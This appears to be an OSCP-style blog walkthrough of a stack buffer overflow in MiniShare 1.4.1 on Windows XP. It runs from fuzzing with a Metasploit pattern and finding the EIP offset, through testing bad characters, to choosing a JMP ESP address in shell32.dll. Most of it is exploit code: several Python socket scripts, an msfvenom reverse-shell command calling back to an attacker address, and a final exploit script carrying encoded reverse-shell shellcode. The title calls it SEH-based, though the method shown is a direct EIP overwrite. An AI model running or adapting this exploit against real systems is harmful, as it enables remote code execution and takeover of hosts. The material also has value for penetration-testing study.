OSCP SEH based buffer overflow – Part 2
In last blog we have discussed about bit and bites about this bufferoverflow lets do this in practical way
Execute minishare 1.4.1.exe in windows XP and attach it to Immunity Debugger or From option “Debug” select Restart.
Step-3.1
Create unique pattern of length 4000 msf-pattern_create -l 4000

Step-3.2
Modify the script by adding unique pattern in palce of 4000 A
—————————————————————————-
#!/usr/bin/python import socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(( '192.168.8.105', 80)) buffer = "GET " buffer += “Aa0Aa1Aa2Aa3Aa4Aa5Aa6A...........”(omited due to large output) buffer += " HTTP/1.1\r\n\r\n" s.send(buffer) s.close()
——————————————————————————
Note the value of EIP register when application crashes

EIP 36684335
Step-3.3
Calculate the EIP offset address using msf-pattern_offset

This gives us the valuable information that the register starts at 1787 characters and is 4
bytes long meaning that this is where we will add the return address.
1787 is the EIP exact address, lets confirm.
Step-3.3.1
Modify the script by sending 1787 As , 4 Bs and 1000 Cs , to confirm that we have EIP and ESP under our control
The EIP should be over written with Bs and ESP with Cs
Execute minishare 1.4.1.exe in windows XP and attach it to Immunity Debugger or From option “Debug” select Restart.
#!/usr/bin/python import socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(( '192.168.8.105', 80)) buffer = "GET " buffer += ‘A’ * 1787 buffer += ‘BBBB’ buffer += ‘C’ * 1000 buffer += " HTTP/1.1\r\n\r\n" s.send(buffer) s.close()
We can see;
ESP all Cs
EIP all Bs
EBX all As
We have complete control on registers

Step-4
We need to find bad charater which can cause our shell to break,we do not want to include them in our script.
Execute minishare 1.4.1.exe in windows XP and attach it to Immunity Debugger or From option “Debug” select Restart.
Edit script to include bad characters and send them to ESP register
#!/usr/bin/python import socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(( '192.168.8.105', 80)) buffer = "GET " buffer += 'A' * 1787 buffer += 'BBBB' buffer +=("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") buffer += " HTTP/1.1\r\n\r\n" s.send(buffer) s.close()
To identify bad characters a,fter sending bad charater script examin in Immunity debugger ,select ESP and click on Follow in Dump


With close observation we can see “0d” is missing and all values after are 0 (zeros), indicating its a bad char
Execute minishare 1.4 in windows XP and attach it to Immunity Debugger
Lets remove first “0d” in script and send it again to find more bad chars
After sending bad charater script in Immunity debugger ,select ESP and click on Follow in Dump

We can see all the characters are written perfectly till FE
Note: Its observed through many tries 0a is also acting as a bad character, we will remove it also from our exploit.
As now bad characters are identified we can create revershell exploit using msfvenom msfvenom -p windows/shell_reverse_tcp LHOST=192.168.8.102 LPORT=443 -f c –e x86/ shikata_ga_nai -b “\x00\x0a\x0d” but before that we need follow step-5
============================================
Step-5
Execute minishare 1.4.1.exe in windows XP and attach it to Immunity Debugger or From option “Debug” select Restart.
This step is the most important, in this step we select executable module to locate our JMP ESP address.

There are some importnat points we must consider while picking the executable module.
1-Avoid any module (exe or dll) that contains a zero byte \x00 in its base address
In our case minshare.exe contains \x00 in its base address,so we cannot select minishare.exe. (string terminator in the C programming language, and usually has the effect of breaking an exploit when it is included within a buffer)

2-Avoid the line feed and carriage return characters \x0a and \x0d.
3-Prefer to use DLLs that come with the application,because these addresses don’t change with different Operating System Service packs or Language versions.
4-Ideal DLLs are the one in which SafeSEH and ASLR are set to false.ASLR and safeSEH are defense mechanisum against BOF.
ASLR (Address Space Layout RandomizaBon) , SafeSEH (Safe Execution Handler)
Back to minishare, in our case there are no additional DLLs as part of MiniShare, we will have to settle for using one of the Windows DLLs that are loaded. Its best to pick fairly “major” DLLs that are less likely to change as a result of hotfixes. Use either shell32.dll or user32.dll. For our POC we will select shell32.dll.
To view which modules have ASLR or SafeSEH set to false use “!mona modules” command in Immunity Debugger

We can see shell32.dll has ASLR set to false
View executable modules in Immunity Debugger and look for shell32.dll, as its ASLR value is set to false.

Double click on it and find its JMP ESP value


Note this value 7CB32D69
Note:we are running a x86 processor, little endian reads the reverse order, so we need reverse the 4 bytes in the return address. 7CB32D69 becomes \x69\x2D\xB3\x7C
Finally we got the value (\x69\x2D\xB3\x7C) to put in EPI register.
Step-6
Lets develop exploit using msfvenom excluding bad characters and send it to our victim. At the same time start listener on port 443 on attacker machines to reveive reverse shell

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.8.102 LPORT=443 -f c –e x86/ shikata_ga_nai -b "\x00\x0a\x0d"
Final exploit script
Note:Add a few NOP instructions in multiples of 8 (buffer = “A” * 1787 + “\x69\x2D\xB3\x7C” + “\x90” * 16 + shellcode) to the start of shellcode. This will resolve issues that can be caused when certain types of encoded shellcode is run. NOPs are essentially No Operation instructions that do nothing. Adding a number of NOPs into the right place in an exploit (like just before shellcode) can help improve exploit stabilityand will help code to land on the right place.
Final-exploit.py
------------------------------------------------------------------------------------------------------- import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) shellcode = ("\xd9\xc2\xd9\x74\x24\xf4\x5a\xbe\xa9\xd9\xc9\xdf\x33\xc9\xb1" "\x52\x31\x72\x17\x83\xc2\x04\x03\xdb\xca\x2b\x2a\xe7\x05\x29" "\xd5\x17\xd6\x4e\x5f\xf2\xe7\x4e\x3b\x77\x57\x7f\x4f\xd5\x54" "\xf4\x1d\xcd\xef\x78\x8a\xe2\x58\x36\xec\xcd\x59\x6b\xcc\x4c" "\xda\x76\x01\xae\xe3\xb8\x54\xaf\x24\xa4\x95\xfd\xfd\xa2\x08" "\x11\x89\xff\x90\x9a\xc1\xee\x90\x7f\x91\x11\xb0\x2e\xa9\x4b" "\x12\xd1\x7e\xe0\x1b\xc9\x63\xcd\xd2\x62\x57\xb9\xe4\xa2\xa9" "\x42\x4a\x8b\x05\xb1\x92\xcc\xa2\x2a\xe1\x24\xd1\xd7\xf2\xf3" "\xab\x03\x76\xe7\x0c\xc7\x20\xc3\xad\x04\xb6\x80\xa2\xe1\xbc" "\xce\xa6\xf4\x11\x65\xd2\x7d\x94\xa9\x52\xc5\xb3\x6d\x3e\x9d" "\xda\x34\x9a\x70\xe2\x26\x45\x2c\x46\x2d\x68\x39\xfb\x6c\xe5" "\x8e\x36\x8e\xf5\x98\x41\xfd\xc7\x07\xfa\x69\x64\xcf\x24\x6e" "\x8b\xfa\x91\xe0\x72\x05\xe2\x29\xb1\x51\xb2\x41\x10\xda\x59" "\x91\x9d\x0f\xcd\xc1\x31\xe0\xae\xb1\xf1\x50\x47\xdb\xfd\x8f" "\x77\xe4\xd7\xa7\x12\x1f\xb0\x07\x4a\x17\x26\xe0\x89\x27\xa7" "\x4b\x04\xc1\xcd\xbb\x41\x5a\x7a\x25\xc8\x10\x1b\xaa\xc6\x5d" "\x1b\x20\xe5\xa2\xd2\xc1\x80\xb0\x83\x21\xdf\xea\x02\x3d\xf5" "\x82\xc9\xac\x92\x52\x87\xcc\x0c\x05\xc0\x23\x45\xc3\xfc\x1a" "\xff\xf1\xfc\xfb\x38\xb1\xda\x3f\xc6\x38\xae\x04\xec\x2a\x76" "\x84\xa8\x1e\x26\xd3\x66\xc8\x80\x8d\xc8\xa2\x5a\x61\x83\x22" "\x1a\x49\x14\x34\x23\x84\xe2\xd8\x92\x71\xb3\xe7\x1b\x16\x33" "\x90\x41\x86\xbc\x4b\xc2\xb6\xf6\xd1\x63\x5f\x5f\x80\x31\x02" "\x60\x7f\x75\x3b\xe3\x75\x06\xb8\xfb\xfc\x03\x84\xbb\xed\x79" "\x95\x29\x11\x2d\x96\x7b") #shell32.dll jmp esp buffer = "A" * 1787 + "\x69\x2D\xB3\x7C" + "\x90" * 16 + shellcode try: print "\nSending evil buffer..." s.connect(('192.168.8.105', 80)) s.send('GET ' + buffer + '\r\n\r\n') print s.recv(1024) print "\nDone!." except:
We get the revershell (sometimes it takes 1 minute to pop the shell,so be patience)

References:
- https://people.eecs.berkeley.edu/~dawnsong/teaching/f12-cs161/lectures/lec-4-sw-vulsdefense.pdf
- http://mpentest.blogspot.com/2012/09/exploit-writing-buffer-overflows.html http://www.thegreycorner.com/2010/01/beginning-stack-based-buffer-overflow.html
Once Again Thanks Najam For this Awesome Blog.
Recent Comments